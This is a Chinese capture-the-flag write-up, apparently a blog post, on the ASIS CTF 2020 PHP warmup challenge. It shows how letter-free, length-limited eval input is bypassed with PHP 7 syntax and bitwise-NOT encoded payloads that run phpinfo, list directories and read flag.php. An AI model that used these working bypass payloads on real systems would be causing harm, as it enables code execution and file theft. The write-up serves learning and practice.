前言

打开ctftime,偶然发现ASISCTF 2020正在进行,于是就注册了个号。上去发现一共有4个web题,但是只有一道热身题是php的,所以就做了这么一道题,所以说有时间还是要学学node.js和python web安全啊,现在ctf题里node.js越来越热门了。

1

题解

打开题目看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if(isset($_GET['view-source'])){
highlight_file(__FILE__);
die();
}

if(isset($_GET['warmup'])){
if(!preg_match('/[A-Za-z]/is',$_GET['warmup']) && strlen($_GET['warmup']) <= 60) {
eval($_GET['warmup']);
}else{
die("Try harder!");
}
}else{
die("No param given");
}

可以看出这考点就是长度限制的无字母RCE的思路,而且长度不能超过60。

我们知道php 7存在一个新的特性, https://www.php.net/manual/zh/migration70.incompatible.php :

5

也就是说,php7能够成功解析下面的php命令:

1
(phpinfo)();

7

但是php5不支持:

6

所以我们可以将phpinfo命令进行编码传入,这样就能绕过正则匹配了。一般情况下我们可以用^|或是~这种取反异或的符号来绕过。比较习惯取反符号~。因为不能确定php版本号,先用(phpinfo)();命令来尝试下:

1
2
3
$a = 'phpinfo';
echo urlencode(~$a);
// %8F%97%8F%96%91%99%90

warmup=(~%8F%97%8F%96%91%99%90)();

2

成功执行了,php版本号是php 7.4.7。先收集一波phpinfo信息:

1
2
3
4
5
php version: 7.4.7

poenbase_dir: no value

disable_functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,system,exec,putenv,mail,passthru,shell_exec,popen,stream_select,curl_exec,curl_multi_exec,parse_ini_file,proc_open,imap_mail,error_log,

接着尝试下能不能列目录,用scandir函数:

1
2
3
4
5
6
7
8
9
10
11
12
print_r(scandir('./'));

$a = "print_r";
$b = "scandir";
$c = "./";
echo urlencode(~$a);
echo "<br>";
echo urlencode(~$b);
echo "<br>";
echo urlencode(~$c);

// (~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(~%D1%D0))

warmup=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(~%D1%D0))

3

发现了flag文件。

然后用readfileshow_source这种读取文件的函数来读取flag:

1
2
3
4
5
6
7
8
9
10
(show_source)('flag.php');

$b = 'show_source';
$c = 'flag.php';

echo urlencode(~$b);
echo "<br>";
echo urlencode(~$c);

// (~%8C%97%90%88%A0%8C%90%8A%8D%9C%9A)((~%99%93%9E%98%D1%8F%97%8F))

4

得到了flag,这道题简单就简单在这个flag文件是可以读取的,如果是需要执行的,那就比较难了,因为所有可以用的系统函数都被禁掉了。